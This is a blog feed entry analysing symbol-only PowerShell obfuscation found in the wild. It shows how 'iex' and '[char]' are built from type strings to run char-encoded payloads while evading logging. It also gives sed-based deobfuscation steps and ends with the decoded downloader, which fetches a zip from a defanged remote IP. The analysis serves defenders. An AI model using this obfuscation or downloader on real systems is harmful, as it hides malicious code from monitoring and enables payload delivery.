<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://blog.nadrojisk.com/feed.xml" rel="self" type="application/atom+xml" /><link href="http://blog.nadrojisk.com/" rel="alternate" type="text/html" /><updated>2026-05-08T09:05:38-05:00</updated><id>http://blog.nadrojisk.com/feed.xml</id><title type="html">nadrojisk’s Blog</title><subtitle>Write an awesome description for your new site here. You can edit this line in _config.yml. It will appear in your document head meta (for Google search results) and in your feed.xml site description.</subtitle><author><name>Jordan Sosnowski</name></author><entry><title type="html">Powershell Obfuscation: Symbols</title><link href="http://blog.nadrojisk.com/malware/powershell/symbols" rel="alternate" type="text/html" title="Powershell Obfuscation: Symbols" /><published>2022-04-19T00:00:00-05:00</published><updated>2022-04-19T00:00:00-05:00</updated><id>http://blog.nadrojisk.com/malware/powershell/powershell-obfuscation</id><content type="html" xml:base="http://blog.nadrojisk.com/malware/powershell/symbols"><![CDATA[<h1 id="background">Background</h1>

<p>In this post, I will be going over some obfuscation techniques I saw recently for Powershell. About a week ago I saw a <a href="https://twitter.com/LawrenceAbrams/status/1514634960833073158?s=20&amp;t=vIa0fSK3stteiaPvVlZ0VQ">tweet</a> where the user was asking for help with this weird Powershell file he saw.</p>

<p><img src="/assets/images/posts/powershell/token_powershell_tweet.png" alt="Powershell Tweet" /></p>

<p>After looking around I found a <a href="https://perl-users.jp/articles/advent-calendar/2010/sym/11">blog post</a> from 2010 that looks extremely similar in structure to the code in the tweet.</p>

<h1 id="concept">Concept</h1>

<p>Powershell is a very common vector for the first stage of a malware life cycle. Unlike Office Macros, it’s usually not blocked as Windows administrators commonly use it.
However, since it’s such a common vector administrators will often set up logging for it and will check for suspicious calls like <code class="language-plaintext highlighter-rouge">iex</code> which will execute a string as Powershell code.</p>

<p>However, by obfuscating your payloads you can, in theory, bypass basic logging that only checks top-level PowerShell files.</p>

<!-- The obfuscation methods described in this post are pretty obvious if you were to come across it manually as it solely uses symbols to execute. -->

<h2 id="obscuring-variable-names">Obscuring variable names</h2>

<p>There are reserved characters that cannot be a variable name by default. For example whitespace. The following line is not a valid line of Powershell.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span><span class="w">           </span><span class="o">=</span><span class="w"> </span><span class="s2">"test"</span><span class="p">;</span><span class="w">
</span></code></pre></div></div>

<p>However, this can be bypassed if you include curly brackets around the “invalid” characters. For example, the following line is completely valid.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">${           }</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"test"</span><span class="p">;</span><span class="w">
</span></code></pre></div></div>

<p>Each different variation of whitespace characters will correspond to a different variable. For example, all the defined variables in the next example are considered different and unique variables.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">${           }</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"test"</span><span class="p">;</span><span class="w">
</span><span class="nv">${  }</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">12</span><span class="p">;</span><span class="w">
</span><span class="nv">${    }</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">2.0</span><span class="p">;</span><span class="w">
</span></code></pre></div></div>

<h2 id="generating-characters">Generating characters</h2>

<p>The end goal for many Powershell scripts is to call <code class="language-plaintext highlighter-rouge">iex</code> on a string that contains a malicious payload. To go even further you could call <code class="language-plaintext highlighter-rouge">iex</code> on a string that is created at runtime from decimal values.</p>

<p>To achieve this you’d need to use the <code class="language-plaintext highlighter-rouge">[char]</code> operator. This operator casts a decimal value into a character. For example <code class="language-plaintext highlighter-rouge">[char]117</code> would become <code class="language-plaintext highlighter-rouge">"u"</code>. By abusing the <code class="language-plaintext highlighter-rouge">[char]</code> operator a huge string of decimals could be converted into characters which could then be executed by <code class="language-plaintext highlighter-rouge">iex</code>.</p>

<p>However, for that to work we’d need the following characters: ‘c’, ‘h’, ‘a’, ‘r’, ‘i’, ‘e’, ‘x’.</p>

<h3 id="building-char">Building “char”</h3>

<p>In Powershell <code class="language-plaintext highlighter-rouge">@{}</code> defines an empty hash map. If you store it as a partial expression and then cast it to a string you’d get <code class="language-plaintext highlighter-rouge">System.Collections.Hashtable</code>. This string contains ‘c’, ‘h’, and ‘a’. To retrieve the different characters we will need the numbers 0 - 9.</p>

<p>In Powershell an empty partial expression is treated as null, however, if you add something to it, it will convert to an int.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">+</span><span class="err">$</span><span class="p">{}</span><span class="w">
</span></code></pre></div></div>

<p>After the previous line executes <code class="language-plaintext highlighter-rouge">$a</code> would contain zero. The following code can then be executed to acquire numbers 0 - 9.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$a</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">+</span><span class="err">$</span><span class="p">();</span><span class="w">     </span><span class="c"># 0</span><span class="w">
</span><span class="nv">$b</span><span class="w">  </span><span class="o">=</span><span class="w">   </span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 0</span><span class="w">
</span><span class="nv">$c</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 1</span><span class="w">
</span><span class="nv">$d</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 2</span><span class="w">
</span><span class="nv">$e</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 3</span><span class="w">
</span><span class="nv">$f</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 4</span><span class="w">
</span><span class="nv">$g</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 5</span><span class="w">
</span><span class="nv">$h</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 6</span><span class="w">
</span><span class="nv">$j</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 7</span><span class="w">
</span><span class="nv">$k</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 8</span><span class="w">
</span><span class="nv">$l</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="o">++</span><span class="nv">$a</span><span class="p">;</span><span class="w">     </span><span class="c"># 9</span><span class="w">
</span></code></pre></div></div>

<p>Once the numbers are generated we can start creating some strings. However, at this point <code class="language-plaintext highlighter-rouge">[char]</code> cannot be created as we are still missing <code class="language-plaintext highlighter-rouge">"r"</code>. Fortunately, we can abuse another one of Powershell’s systems to get that.</p>

<p><code class="language-plaintext highlighter-rouge">$?</code> returns <code class="language-plaintext highlighter-rouge">True</code> or <code class="language-plaintext highlighter-rouge">False</code> depending on if the prior line was executed successfully. By casting <code class="language-plaintext highlighter-rouge">$?</code> into a string we can get the <code class="language-plaintext highlighter-rouge">"r"</code> from <code class="language-plaintext highlighter-rouge">True</code>.</p>

<pre><code class="language-Powershell">"$?"[$c]
</code></pre>

<p>The following code fully builds <code class="language-plaintext highlighter-rouge">[cHar]</code>.</p>

<p class="notice--warning"><strong>Note:</strong> Powershell is case insensitive. Therefore, it doesn’t matter that we built <code class="language-plaintext highlighter-rouge">[cHar]</code> not <code class="language-plaintext highlighter-rouge">[char]</code></p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"["</span><span class="w">  </span><span class="o">+</span><span class="w">  </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$j</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w">  </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$c$l</span><span class="s2">"</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$d$b</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="bp">$?</span><span class="s2">"</span><span class="p">[</span><span class="nv">$c</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"]"</span><span class="w"> </span><span class="c"># [cHar]</span><span class="w">
</span></code></pre></div></div>

<h3 id="building-iex">Building iex</h3>

<p>For <code class="language-plaintext highlighter-rouge">iex</code> only “x” is missing. “x” is a little more difficult to acquire. If you were to look at the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.string.insert?view=net-6.0">documentation</a> for <code class="language-plaintext highlighter-rouge">String.Insert</code> you’d see that in its function signature it contains “startIndex”.</p>

<p>If you take a string, call <code class="language-plaintext highlighter-rouge">insert</code> on it, and cast it into a string you’ll get the signature. By pulling the 27th character you can acquire “x.”</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$method</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="o">.</span><span class="nf">insert</span><span class="w">
</span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"</span><span class="nv">$method</span><span class="s2">"</span><span class="p">[</span><span class="mi">27</span><span class="p">]</span><span class="w"> </span><span class="c"># Outputs x</span><span class="w">
</span></code></pre></div></div>

<p>Since this obfuscation technique only uses symbols we can generate “insert” at runtime by indexing the characters of the Hashtable variable.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="o">.</span><span class="p">(</span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$c$f</span><span class="s2">"</span><span class="p">]</span><span class="w">   </span><span class="c">#i</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$c$h</span><span class="s2">"</span><span class="p">]</span><span class="w">      </span><span class="c">#n</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$b</span><span class="p">]</span><span class="w">          </span><span class="c">#s</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$f</span><span class="p">]</span><span class="w">          </span><span class="c">#e</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="bp">$?</span><span class="s2">"</span><span class="p">[</span><span class="nv">$c</span><span class="p">]</span><span class="w">              </span><span class="c">#r</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$e</span><span class="p">])</span><span class="w">         </span><span class="c">#t</span><span class="w">
    </span><span class="c">#string Insert(int startIndex, string value)</span><span class="w">
</span></code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$z</span><span class="o">=</span><span class="w">  </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$c$f</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="o">+</span><span class="w">  </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$f</span><span class="p">]</span><span class="w">  </span><span class="o">+</span><span class="s2">"</span><span class="nv">$y</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$d$j</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="p">}</span><span class="w"> </span><span class="c"># iex</span><span class="w">
</span></code></pre></div></div>

<h3 id="generating-the-payload">Generating the payload</h3>

<p>By taking the <code class="language-plaintext highlighter-rouge">[char]</code> variable you can build a huge string of decimal values that, if treated as characters, would be legal Powershell code.</p>

<p>For example, if you were to convert <code class="language-plaintext highlighter-rouge">Write-Host hello!</code> to decimal values you’d get <code class="language-plaintext highlighter-rouge">87 114 105 116 101 45 72 111 115 116 32 104 101 108 108 111 33</code>. By prefixing each value with <code class="language-plaintext highlighter-rouge">[char]</code> you can then convert the string back into <code class="language-plaintext highlighter-rouge">Write-Host hello!</code>. If you also pipe (<code class="language-plaintext highlighter-rouge">|</code>) it into iex Powershell would then also execute the string as code.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">87</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">114</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">105</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">116</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">101</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">45</span><span class="w"> </span><span class="err">`</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">72</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">111</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">115</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">116</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">32</span><span class="w"> </span><span class="err">`</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">104</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">101</span><span class="w"> </span><span class="o">+</span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">108</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">108</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">111</span><span class="w"> </span><span class="err">`</span><span class="w">
    </span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">33</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">iex</span><span class="w">
</span></code></pre></div></div>

<p>Since earlier we already created 0 - 9 we can obfuscate the prior Powershell code by removing the numbers and replacing them with variables, that at runtime would evaluate to numbers and <code class="language-plaintext highlighter-rouge">[char]</code>.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">"</span><span class="nv">$x$k$j</span><span class="s2"> + </span><span class="nv">$x$c$c$f</span><span class="s2"> + </span><span class="nv">$x$c$b$g</span><span class="s2"> + </span><span class="nv">$x$c$c$h</span><span class="s2"> + </span><span class="nv">$x$c$b$c</span><span class="s2"> + </span><span class="nv">$x$f$g</span><span class="s2"> + </span><span class="nv">$x$j$d</span><span class="s2"> +
</span><span class="nv">$x$c$c$c</span><span class="s2"> + </span><span class="nv">$x$c$c$g</span><span class="s2"> + </span><span class="nv">$x$c$c$h</span><span class="s2"> + </span><span class="nv">$x$e$d</span><span class="s2"> + </span><span class="nv">$x$c$b$f</span><span class="s2"> + </span><span class="nv">$x$c$b$c</span><span class="s2"> +</span><span class="nv">$x$c$b$k</span><span class="s2"> +
</span><span class="nv">$x$c$b$k</span><span class="s2"> + </span><span class="nv">$x$c$c$c</span><span class="s2"> + </span><span class="nv">$x$e$e</span><span class="s2">"</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">iex</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">iex</span><span class="w">
</span></code></pre></div></div>

<p class="notice--warning"><strong>Note:</strong> there are two <code class="language-plaintext highlighter-rouge">iex</code>’s as the first one converts the string <code class="language-plaintext highlighter-rouge">"[char]87 ..."</code> to <code class="language-plaintext highlighter-rouge">[char]87</code> which is <code class="language-plaintext highlighter-rouge">"h"</code> and then the second <code class="language-plaintext highlighter-rouge">iex</code> executes the string as code.</p>

<h1 id="manual-deobfuscation">Manual Deobfuscation</h1>

<ol>
  <li><code class="language-plaintext highlighter-rouge">sed 's/}[ ]*{/}\n{/g'</code></li>
  <li><code class="language-plaintext highlighter-rouge">sed 's/;/;\n/g'</code></li>
  <li><code class="language-plaintext highlighter-rouge">sed 's/[ ]*++[ ]*/ ++/g'</code></li>
  <li><code class="language-plaintext highlighter-rouge">sed 's/{[ ]*$/{$/g'</code></li>
  <li>Replace all ${ } variables with actual names</li>
  <li>Look for instances of <code class="language-plaintext highlighter-rouge">$()</code>, <code class="language-plaintext highlighter-rouge">@{}</code> and <code class="language-plaintext highlighter-rouge">$?</code></li>
  <li>Find the variable that will become [char] and replace all instances of it with <code class="language-plaintext highlighter-rouge">[char]</code>.</li>
  <li>Find huge string containing multiple instances of <code class="language-plaintext highlighter-rouge">[char]</code></li>
  <li>Convert decimal characters to ascii.</li>
</ol>

<p>After running all the <code class="language-plaintext highlighter-rouge">sed</code> commands and cleaning up the variable names, before step 7, I have this.</p>

<p class="notice--warning"><strong>Note:</strong> The <code class="language-plaintext highlighter-rouge">[char]</code> elements have been shortened for brevity.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="s1">'-----'</span><span class="w">  </span><span class="o">|%</span><span class="p">{</span><span class="nv">$a</span><span class="o">=+</span><span class="err">$</span><span class="p">()}</span><span class="w">   </span><span class="c"># 0</span><span class="w">
    </span><span class="p">{</span><span class="nv">$b</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="nv">$a</span><span class="p">}</span><span class="w">          </span><span class="c"># 0</span><span class="w">
    </span><span class="p">{</span><span class="nv">$c</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 1</span><span class="w">
    </span><span class="p">{</span><span class="nv">$d</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 2</span><span class="w">
    </span><span class="p">{</span><span class="nv">$e</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 3</span><span class="w">
    </span><span class="p">{</span><span class="nv">$f</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 4</span><span class="w">
    </span><span class="p">{</span><span class="nv">$g</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 5</span><span class="w">
    </span><span class="p">{</span><span class="nv">$h</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 6</span><span class="w">
    </span><span class="p">{</span><span class="nv">$j</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 7</span><span class="w">
    </span><span class="p">{</span><span class="nv">$k</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 8</span><span class="w">
    </span><span class="p">{</span><span class="nv">$l</span><span class="w">  </span><span class="o">=</span><span class="w">  </span><span class="o">++</span><span class="nv">$a</span><span class="p">}</span><span class="w">       </span><span class="c"># 9</span><span class="w">

    </span><span class="c"># [cHar]</span><span class="w">
    </span><span class="p">{</span><span class="nv">$m</span><span class="o">=</span><span class="w">  </span><span class="s2">"["</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$j</span><span class="p">]</span><span class="w">      </span><span class="c"># c</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$c$l</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="c"># H</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$d$b</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="c"># a</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="bp">$?</span><span class="s2">"</span><span class="p">[</span><span class="nv">$c</span><span class="p">]</span><span class="w">          </span><span class="c"># r</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"]"</span><span class="w">  </span><span class="p">}</span><span class="w">

    </span><span class="c">#string Insert(int startIndex, string value)</span><span class="w">
    </span><span class="p">{</span><span class="nv">$a</span><span class="w">  </span><span class="o">=</span><span class="s2">""</span><span class="o">.</span><span class="p">(</span><span class="s2">"
        </span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="w">  </span><span class="s2">"</span><span class="nv">$c$f</span><span class="s2">"</span><span class="p">]</span><span class="w">   </span><span class="c"># i</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$c$h</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="c"># n</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$b</span><span class="p">]</span><span class="w">      </span><span class="c"># s</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$f</span><span class="p">]</span><span class="w">      </span><span class="c"># e</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="bp">$?</span><span class="s2">"</span><span class="p">[</span><span class="nv">$c</span><span class="p">]</span><span class="w">          </span><span class="c"># r</span><span class="w">
        </span><span class="o">+</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$e</span><span class="p">])}</span><span class="w">    </span><span class="c"># t</span><span class="w">

    </span><span class="c"># iex</span><span class="w">
    </span><span class="p">{</span><span class="nv">$a</span><span class="o">=</span><span class="w">  </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$c$f</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="o">+</span><span class="w">  </span><span class="s2">"</span><span class="si">$(</span><span class="p">@{}</span><span class="si">)</span><span class="s2">"</span><span class="p">[</span><span class="nv">$f</span><span class="p">]</span><span class="w">  </span><span class="o">+</span><span class="s2">"</span><span class="nv">$a</span><span class="s2">"</span><span class="p">[</span><span class="s2">"</span><span class="nv">$d$j</span><span class="s2">"</span><span class="p">]</span><span class="w">  </span><span class="p">}</span><span class="w">
</span><span class="p">);</span><span class="w">

</span><span class="s2">"</span><span class="nv">$m$c$e</span><span class="s2"> + </span><span class="nv">$m$c$b</span><span class="s2"> + </span><span class="nv">$m$e$h</span><span class="s2"> + </span><span class="nv">$m$j$j</span><span class="s2"> + </span><span class="nv">$m$c$c$d</span><span class="s2"> + </span><span class="nv">$m$c$c$g</span><span class="s2"> + </span><span class="nv">$m$e$d</span><span class="s2"> + </span><span class="nv">$m$h$c</span><span class="s2"> |</span><span class="nv">$a</span><span class="s2">"</span><span class="o">|&amp;</span><span class="nv">$a</span><span class="w">
</span></code></pre></div></div>

<p>After putting in <code class="language-plaintext highlighter-rouge">[char]</code> and recreating all the original decimal values the huge string will start like this.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w">
</span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">23</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">21</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">36</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">77</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">220</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">225</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">30</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">62</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">30</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">34</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">67</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">58</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">[</span><span class="n">char</span><span class="p">]</span><span class="mi">90</span><span class="w">
</span><span class="o">...</span><span class="w">
</span></code></pre></div></div>

<p>If you dump the long string into Powershell you’ll get</p>

<p><img src="/assets/images/posts/powershell/RaggedUnwittingPinemarten.png" alt="Final Payload" /></p>

<p>After cleaning that all up you’ll get the following Powershell code.</p>

<p class="notice--warning"><strong>Note:</strong> URL is defanged for safety purposes.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$Mps</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\User"</span><span class="w">
</span><span class="n">New-Item</span><span class="w"> </span><span class="nt">-ItemType</span><span class="w"> </span><span class="nx">Directory</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$Mps</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-Null</span><span class="w">

</span><span class="nv">$cmdxx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\User\Sys.cmd"</span><span class="w">
</span><span class="nv">$url2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'hXXp://35[.]163[.]204[.]167/esfsdghfrzeqsdffgfrtsfd[.]zip'</span><span class="w">
</span><span class="nv">$dir3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$Mps</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">'\xxrrffftttbbb.zip'</span><span class="w">

</span><span class="nv">$client</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">new-object</span><span class="w"> </span><span class="nx">System.Net.WebClient</span><span class="w">
</span><span class="nv">$client</span><span class="o">.</span><span class="nf">DownloadFile</span><span class="p">(</span><span class="nv">$url2</span><span class="p">,</span><span class="nv">$dir3</span><span class="p">);</span><span class="w">

</span><span class="p">(</span><span class="n">new-object</span><span class="w"> </span><span class="nt">-com</span><span class="w"> </span><span class="nx">shell.application</span><span class="p">)</span><span class="o">.</span><span class="nf">namespace</span><span class="p">(</span><span class="nv">$Mps</span><span class="p">)</span><span class="w">
